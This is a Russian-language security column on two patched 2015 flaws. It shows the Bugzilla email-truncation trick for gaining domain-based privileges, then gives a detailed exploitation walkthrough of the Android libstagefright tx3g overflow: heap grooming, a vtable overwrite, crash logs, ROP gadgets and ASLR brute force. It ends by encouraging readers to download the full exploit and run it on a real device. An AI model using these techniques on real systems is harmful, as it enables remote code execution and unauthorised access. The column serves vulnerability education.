Сегодня мы с тобой рассмотрим уязвимость в популярном баг-трекере Bugzilla, которая позволяет повысить привилегии на большинстве доменов, и разберем недавний эксплоит для Android, который стал возможен из-за неудачного патча.
Повышение привилегий в Bugzilla
CVSSv2
N/A
BRIEF
Дата релиза: 17 сентября 2015 года
Автор: Netanel Rubin
CVE: CVE-2015-4499
Bugzilla — популярный баг-трекер с открытым исходным кодом и веб-интерфейсом. Он принадлежит Mozilla, используется большим количеством компаний. Bugzilla позволяет организовать все найденные ошибки в своих продуктах и следить за их исправлениями, а также обмениваться информацией и определять степень угрозы.
Благодаря найденной уязвимости в этой системе атакующий может повысить свои привилегии и получить доступ не только к изменениям, но и к скрытым от простых глаз ошибкам, которые несут угрозу безопасности.
Механизм аутентификации в Bugzilla завязан на проверке адреса электронной почты. Для правильной регистрации пользователи вводят свой email, и система отправляет ссылку с активацией на этот адрес. Такая ссылка содержит токен, который позволяет пользователю зарегистрироваться с указанным адресом и установить в настройках свое реальное имя и действующий пароль.
Когда пользователь регистрирует email, адрес сохраняется в таблице tokens
вместе с самим токеном. Адрес сохраняется в столбце с именем eventdata
.
После того как пользователь при помощи токена подтвердил свою почту, адрес берется из столбца eventdata
и используется для создания действующего аккаунта. Когда аккаунт создан, срабатывают автоматические политики безопасности и устанавливают соответствующие права. Часто они основаны на соответствующем домене, доступ к которому атакующему получить очень сложно.
Все это делает адрес почты чрезвычайно важной частью механизма — именно от адреса зависят права доступа в системе. Из-за этого он оказывается слабым звеном. Что, если атакующий как-то получит токен на подходящий под условия почтовый ящик? Именно так и вышло.
Для начала разберем код, который отвечает за отправку и валидацию токенов. Введенный пользователем email проверяется на наличие запрещенных (опасных) символов и исправляется соответствующим образом. Затем создается токен для этого ящика.
### Bugzilla/User.pm::check_and_send_account_creation_confirmation()
sub check_and_send_account_creation_confirmation {
my ($self, $login) = @_;
# Проверка почтового адреса пользователя
$login = $self->check_login_name($login);
if ($login !~ /$creation_regexp/i) {
ThrowUserError('account_creation_restricted');
}
# Создание и отправка токена
require Bugzilla::Token;
Bugzilla::Token::issue_new_user_account_token($login);
}
Посмотрим функцию issue_new_user_account_token()
:
### Bugzilla/Token.pm::issue_new_user_account_token()
sub issue_new_user_account_token {
my $login_name = shift; # Введенный нами email
my $template = Bugzilla->template;
my $vars = {};
# Создание нового токена в БД
my ($token, $token_ts) = _create_token(undef, 'account', $login_name);
# Создание переменных с адресом почты, датой истечения срока и токеном
# Bugzilla->params->{'emailsuffix'} по умолчанию пуст в большинстве установленных систем
$vars->{'email'} = $login_name . Bugzilla->params->{'emailsuffix'};
$vars->{'expiration_ts'} = ctime($token_ts + MAX_TOKEN_AGE * 86400);
$vars->{'token'} = $token;
# Создание письма с использованием обработанных переменных
my $message;
$template->process('account/email/request-new.txt.tmpl', $vars, \$message)
|| ThrowTemplateError($template->error());
# Отправка письма с подтверждением
MessageToMTA($message);
}
Если внимательно прочесть код, то можно заметить, что токен, который создается для пользователя, заносится в БД и затем вставляется в письмо, которое отправляется на адрес регистрации. Это важная особенность, так как система не проверяет, правильно ли он создался. Считается, что все заведомо нормально, и программа отправляет подтверждение на указанный email.
Нам нужно как-то испортить адрес перед тем, как он будет вставлен в БД. Столбец eventdata
, в котором хранится адрес, имеет тип tinytext
. Этот тип данных представлен как обычная строка текста и в MySQL имеет ограничение в 255 байт. Для остальных БД Bugzilla искусственно устанавливает размер, равный 255, и использует тип text
. Что же будет, если мы превысим этот лимит? Может быть, БД вернет исключение? Упадет база? Нет! Такая строка автоматически будет округлена до указанного размера.
EXPLOIT
Мы можем создать email длиннее 255 символов, а после усечения он будет на том домене, который выберем. Создаем почтовый ящик на подконтрольном нам домене с соответствующим именем и добавляем в него домен атакуемой системы.
bbb[...]bbbb@mozilla.com.attackerdomain.com
После этих манипуляций к нам на почтовый ящик приходит письмо со ссылкой на активацию, а в БД содержится усеченный адрес, для которого система при нужных настройках автоматически выдаст нам высокие права доступа.
Оригинальный отчет опубликован в блоге компании автора.
TARGETS
Версии до 10 сентября 2015 года.
SOLUTION
Есть исправление от производителя.
Android libstagefright — удаленное выполнение кода
CVSSv2
N/A
BRIEF
Дата релиза: 17 сентября 2015 года
Автор: Google Security Research и @jgrusko
CVE: CVE-2015-3864
Google с некоторых пор стала выпускать бюллетень безопасности для Android. В одном из последних была упомянута уязвимость под номером CVE-2015-3864, которую нашел @jgrusko из Exodus Intel и Натали Сильванович (Natalie Silvanovich) из Project Zero. Эксплуатация этой уязвимости стала возможной из-за неудачного патча другой уязвимости.
Уязвимый код находится в обработчике чанка tx3g
при парсинге видеофайла в MPEG4. Ниже приведен оригинальный код.
// chunk_size — это uint64_t, который берется из файла, то есть контролируется атакующим и не проверяется
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData(
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Целочисленное переполнение
if (size > 0) {
memcpy(buffer, data, size); // <---- Копирование в память
}
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
delete[] buffer;
buffer = NULL;
return ERROR_IO;
}
mLastTrack->meta->setData(
kKeyTextFormatData, 0, buffer, size + chunk_size);
delete[] buffer;
*offset += chunk_size;
break;
}
Теперь посмотрим на патч:
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData(
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
if (SIZE_MAX - chunk_size <= size) { // <---- Попытка предотвратить переполнение
return ERROR_MALFORMED;
}
uint8_t *buffer = new uint8_t[size + chunk_size];
if (size > 0) {
memcpy(buffer, data, size);
}
...
Проблема этого патча в том, что у chunk_size
тип на самом деле не size_t
, а uint64_t
на 32-битных платформах (большинство устройств с Android — 32-битные, а исследуемый медиасервер является 32-битным процессом даже для 64-битных устройств). Во время беглой проверки кажется, что все нормально, но это не так. chunk_size
может быть больше SIZE_MAX
, что позволит пройти проверку. Пробуем воспроизвести падение медиасервера, используя полученную информацию.
Для начала нам нужен файл, который libstagefright
определит как MPEG4 и обработает соответственно. Разберем чанк ftyp
в начале файла.
Рассмотрим структуру этого чанка, которую будем использовать в дальнейшем.
0000 0014
— четырехбитный размер чанка зеленого цвета;6674 7970
— четырехбитный тег синего цвета;6973 6f6d 0000 0001 6973 6f6d
и данные этого чанка — оранжевого.
Теперь если мы добавим чанк tx3g
, то столкнемся с другой ошибкой.
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData( // <---- mLastTrack это NULL, SIGSEGV...
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
Нам требуется хотя бы один трек перед тем, как мы достигнем уязвимого кода. Чанк trak
инициализирует mLastTrack
и служит контейнером для других чанков.
Такая структура приведет нас к обработке нужного чанка, но не вызовет ошибку. Для этого нам понадобится сделать еще один, но чтобы chunk_size
был достаточно большим для переполнения. Это просто: chunk_size - 1 = 0xffffffffffffffff
.
Обрати внимание, что структура дополнительного элемента немного отличается. Нам нужно использовать расширенный chunk_size
, чтобы в случае удачного срабатывания его значение стало 64-битным.
Теперь у нас есть файл, который вызывает ошибку. Автор эксплоита добавил немного кода для дебаггинга, этот код выводит полезную информацию в системный лог Android и открывает видео в Chrome на устройстве Nexus 4.
MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130) <-- Первый чанк
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130) <-- Второй чанк
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615) <-- Полученное число
Отсюда видно, что наш файл после обработки парсером вызывает два выделения памяти при считывании двух чанков tx3g
. В последних двух строках наши данные записываются за пределами выделенной памяти.
Теперь у нас имеется переполнение нескольких байтов, и распределитель кучи в этой версии Android основан на jemalloc. Из-за этого маловероятно, что мы сможем переписать что-то важное и вызвать креш с таким небольшим переполнением. Модифицировать PoC-файл, чтобы парсер перезаписал большое количество байтов и вызвал падение программы, достаточно просто. Для этого нужно добавить больше символов B
в конец файла и исправить размер чанков. Оставим это в качестве домашнего задания :).
Теперь нам нужно провести несколько манипуляций с кучей. Для начала автору нужно было найти место, где блоки памяти просто выделялись, — оно будет использоваться для различных вещей в эксплоите. К счастью, нужный код был найден — обработчик pssh
чанка.
case FOURCC('p', 's', 's', 'h'):
{
*offset += chunk_size;
PsshInfo pssh;
if (mDataSource->readAt(data_offset + 4, &pssh.uuid, 16) < 16) {
return ERROR_IO;
}
uint32_t psshdatalen = 0;
if (mDataSource->readAt(data_offset + 20, &psshdatalen, 4) < 4) {
return ERROR_IO;
}
// pssh.datalen устанавливает размер, который мы контролируем
pssh.datalen = ntohl(psshdatalen);
ALOGV("pssh data size: %d", pssh.datalen);
if (pssh.datalen + 20 > chunk_size) {
// pssh data length exceeds size of containing box
return ERROR_MALFORMED;
}
// pssh.data — выделенный блок памяти, размер которого мы контролируем
pssh.data = new (std::nothrow) uint8_t[pssh.datalen];
if (pssh.data == NULL) {
return ERROR_MALFORMED;
}
ALOGV("allocated pssh @ %p", pssh.data);
ssize_t requested = (ssize_t) pssh.datalen;
// Теперь мы читаем данные, контролируемые внутри выделенной области
if (mDataSource->readAt(data_offset + 24, pssh.data, requested) < requested) {
return ERROR_IO;
}
// и сохраняем их, такие блоки живут все время, пока работает MPEG4Extractor
// (these pssh blocks are in fact released in the destructor for the MPEG4Extractor)
mPssh.push_back(pssh);
break;
}
Мы можем использовать любые фрагментированные выделения в размере класса, гарантируя, что последующие выделения ресурсов могут соприкасаться.
Далее нам понадобится следующий элемент, выделение и освобождение которого мы сможем контролировать. Мест, где происходит выделение памяти во время парсинга файла MP4, много, но автору показались наиболее удобными два — avcC
и hvcC
. Во время обработки этих чанков парсер будет выделять блоки памяти и сохранять их, а затем заменять, если встретит второй чанк такого же типа.
case FOURCC('a', 'v', 'c', 'C'):
{
*offset += chunk_size;
sp<ABuffer> buffer = new ABuffer(chunk_data_size);
if (mDataSource->readAt(
data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
return ERROR_IO;
}
// Копирование buffer->data() внутрь буфера с размером chunk_data_size и освобождение ранее сохраненных данных
mLastTrack->meta->setData(
kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);
break;
}
Теперь, чтобы получить контроль над выполнением, нам нужно организовать переполнение и переписать объект типа MPEG4DataSource
. Этот объект имеет размер 32 байта (на указанном выше устройстве), которые выделяет парсер, когда встречает чанк stbl
. Новый источник данных затем используется для всех дополнительных чанков внутри stbl
. Поэтому наша цель — создать такую ситуацию.
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData(
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
if (SIZE_MAX - chunk_size <= size) {
return ERROR_MALFORMED;
}
// Здесь переполнение, поэтому size + chunk_size == 32 и size > 32
uint8_t *buffer = new uint8_t[size + chunk_size];
// Буфер выделяется непосредственно перед mDataSource
if (size > 0) {
// Здесь произойдет переполнение и повреждение mDataSource vtable
memcpy(buffer, data, size);
}
// Этот вызов идет через поврежденную vtable, и мы получаем контроль над выполнением
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
Получается, что нам нужно организовать кучу так, чтобы мы смогли гарантировать свободное место перед выделенным MPEG4DataSource
.
Для начала сделаем пару чанков небольшого размера: avcC
и hvcC
. Они вызывают дополнительные временные выделения памяти, которые будут мешать нашим, поэтому нам нужно получить их до того, как начнем распределять память.
Затем мы создадим наш первоначальный tx3g
. Его размер мы выберем равным 64 байтам, чтобы полностью переписать объект MPEG4DataSource
. 2 — это байты, которые будут записаны за пределами выделенных 32 байт в результате переполнения.
Теперь можно заняться подготовкой кучи. Во-первых, создадим некоторые блоки pssh
заданного размера.
Эти блоки имеют некоторую внутреннюю структуру, но нам интересно следующее:
0000 0020
размер выделения желтого цвета;4c4c ... 4c4c
данные.
После этого мы выделяем блоки avcC
и hvcC
нужного размера и надеемся, что они окажутся рядом.
На самом же деле у нас есть временное распределение памяти во время парсинга avcC
и hvcC
, поэтому куча будет выглядеть таким образом.
Следовательно, нам нужно добавить еще один блок pssh
, чтобы заполнить свободное место.
После этого мы можем освободить блок hvcC
и вызвать выделения для нашей цели MPEG4DataSource
.
Затем внутри нашего чанка stbl
нам нужно освободить avcC
и вызвать переполнение tx3g
.
Просмотрев созданный файл через веб-страницу в Chrome, получим следующий лог (регистр r1):
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x3232324e in tid 3794 (mediaserver)
pid: 3794, tid: 3794, name: mediaserver >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x3232324e
r0 b2e90220 r1 32323232 r2 000002a4 r3 00000000
r4 b2e90240 r5 ffffffe0 r6 b2e90200 r7 00000000
r8 fffd1da4 r9 bedcf6b8 sl b604b980 fp b604b9d4
ip bedcece8 sp bedcf1c0 lr b67dff67 pc b67dff76 cpsr 600f0030
backtrace:
#00 pc 0008ff76 /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+7613)
#01 pc 0008fac1 /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
#02 pc 0008fac1 /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
#03 pc 0008de7f /system/lib/libstagefright.so (android::MPEG4Extractor::readMetaData()+78)
#04 pc 0008de0b /system/lib/libstagefright.so
(android::MPEG4Extractor::getMetaData()+8)
#05 pc 000c0e6f /system/lib/libstagefright.so (android::StagefrightMetadataRetriever::parseMetaData()+38)
Вот мы и получили то, что хотели. Но теперь нам надо как-то обойти ASLR, так как мы не знаем точного местоположения нужных данных. Нам требуется как-то получить данные, которые мы сможем контролировать и использовать. Из-за того, что Linux и Android реализуют ASLR для отображения mmap, это становится немного проще — мы сможем выделить память на нужном нам адресе. Jemalloc на Nexus 5 распределяет огромные части кода выше 0x40000 байтов.
Такое поведение mmap означает, что выделение памяти происходит вниз адресного пространства линейно от начального адреса, выбранного случайным образом. Поскольку мы примерно представляем, сколько места будет уже использоваться (загрузка библиотек и первоначальное распределение), то такая рандомизация происходит в небольшом промежутке, который мы должны обработать, чтобы получить прогнозируемый адрес. Вот код, который реализует такую случайность (в arch/arm/mm/mmap.c).
/* 8 бит случайности в 20 битах адресного пространства */
if ((current->flags & PF_RANDOMIZE) &&
!(current->personality & ADDR_NO_RANDOMIZE))
random_factor = (get_random_int() % (1 << 8)) << PAGE_SHIFT;
Таким образом, наше отображение mmap может быть где угодно в диапазоне 0–0xff000 от максимального положения, которые можно использовать. Нам не нужно выделять больше памяти, чтобы превысить этот предел.
Для проверки этого автор написал небольшую программу.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#define ALLOC_SIZE 0xff000
#define ALLOC_COUNT 0x1
int main(int argc, char** argv) {
int i = 0;
char* min_ptr = (char*)0xffffffff;
char* max_ptr = (char*)0;
for (i = 0; i < ALLOC_COUNT; ++i) {
char* ptr = mmap(NULL, ALLOC_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
if (ptr < min_ptr) {
fprintf(stderr, "new min: %p\n", ptr);
min_ptr = ptr;
}
if (ptr + ALLOC_SIZE > max_ptr) {
fprintf(stderr, "new max: %p\n", ptr + ALLOC_SIZE);
max_ptr = ptr + ALLOC_SIZE;
}
memset(ptr, '\xcc', ALLOC_SIZE);
}
fprintf(stderr, "finished min: %p max %p\n", min_ptr, max_ptr);
((void(*)())0xf7500000)();
}
В Ubuntu x86_64 с /proc/sys/randomize_va_space == 2
после компиляции и запуска как 32-битное приложение получаем результат 0xf7500000
, который в итоге окажется в SIGTRAP
. После тестов на Nexus 5 были получены точно такие же результаты.
После небольшого эксперимента автор посчитал, что лучший путь — это обернуть некоторое количество pssh
внутри действующей таблицы (stbl
). Это инициирует создание кеширования MPEG4DataSource
, которая затем будет выделять и сохранять все данные для внутренних чанков, а в дальнейшем она будет использоваться для парсинга. Фактически это удваивает размер нашего спрея и уменьшает размер требуемого файла.
Обновим файл MP4, включив этот спрей, и перезапишем указатель vtable на наш предполагаемый адрес, что сдвинет нас на еще один шаг. Такой адрес вызывается как функция vtable (обрати внимание на pc
).
Fatal signal 11 (SIGSEGV), code 1, fault addr 0xc01db33e in tid 2223 (Binder_3)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
pid: 2179, tid: 2223, name: Binder_3 >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xc01db33e
r0 b5967660 r1 b59676d8 r2 01000708 r3 00000000
r4 b49ff570 r5 ffffff88 r6 c01db33f r7 b49ff550
r8 b586e240 r9 74783367 sl b49ffa78 fp b5967640
ip 00000000 sp b49ff510 lr b66387d5 pc c01db33e cpsr 400f0030
backtrace:
#00 pc c01db33e <unknown>
#01 pc 000797d3 /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+4610)
Теперь мы контролируем вызов функции — без ASLR все было бы очень просто. Для успешной эксплуатации было бы достаточно перенаправить выполнение на подходящие гаджеты и составить ROP-стек.
Ради теста автор отключил в настройках системы ASLR и быстро нашел подходящие гаджеты (так как наш вызов функции происходит как вызов vtable
, то нам нужно всегда устанавливать r0
как этот объект, указав наш поврежденный MPEG4DataSource
).
В итоге имеем следующий набор инструкций из libc.so
.
.text:00013344 ADD R2, R0, #0x4C
.text:00013348 LDMIA R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR}
.text:0001334C TEQ SP, #0
.text:00013350 TEQNE LR, #0
.text:00013354 BEQ botch_0 ; нам не нужна эта ветка, если мы контролируем lr
.text:00013358 MOV R0, R1
.text:0001335C TEQ R0, #0
.text:00013360 MOVEQ R0, #1
.text:00013364 BX LR
Этот код загружает большинство регистров, включая указатель на стек от смещения r0
, который указывает на контролируемые нами данные. С этого момента все еще проще — с помощью эксплоита выделяем немного памяти RWX, копируем шелл-код и прыгаем на него, используя функции и гаджеты изнутри libc.so
.
Но это все хорошо, только если ASLR отключен. После проверки нескольких идей, описанных в оригинальном отчете, автор выбрал одно, правда не дающее стопроцентного результата.
Процесс медиасервера перезапускается после падения, и получается 8 бит энтропии базового адреса libc.so. Это означает, что у нас есть очень простой способ обхода ASLR. Мы просто выбираем один из 256 возможных адресов для libc.so
и записываем наш эксплоит и цепочку ROP, используя это пространство. Запуская эксплоит из браузера, мы используем JavaScript для обновления страницы и ждем обратный вызов. В конце концов мы получим такую память, какую ожидаем. Такой грубый обход ASLR с помощью перебора — это очень удобный способ эксплуатации, и он часто используется.
Нам нужно найти только один адрес — если бы пришлось искать два (адрес известных данных и адрес библиотеки libc), то это было бы менее практично. Правда, при каждом перезапуске адрес снова выбирается случайным образом, что делает случайным и время успешного подбора.
Автор снова воспользовался для тестов своим Nexus 5 со следующими результатами. При 4096 попытках он получил 15 успешных обратных вызовов. Самая быстрая попытка заняла тридцать секунд, а самая долгая около часа. По примерным подсчетам он добился 4%-го шанса успешной эксплуатации в минуту.
Кто знает — возможно, у тебя получится доработать этот способ и повысить шанс или придумать свой более удобный и успешный (тем более что в некоторых базах антивирусов уже появилась запись об эксплоите с таким номером).
EXPLOIT
Технику эксплуатации мы полностью разобрали, поэтому советую скачать полный код эксплоита и попробовать уже на реальном устройстве. Более подробно ты можешь прочитать в оригинальном отчете команды Project Zero (в комментариях есть примеры отладки) и статье @jgrusko.
TARGETS
Протестировано на Nexus 5 с Android 5.0+.
Android < 5.1.
SOLUTION
Есть исправление от производителя. Исправлено в билде для Nexus 5.1.1 (LMY48M).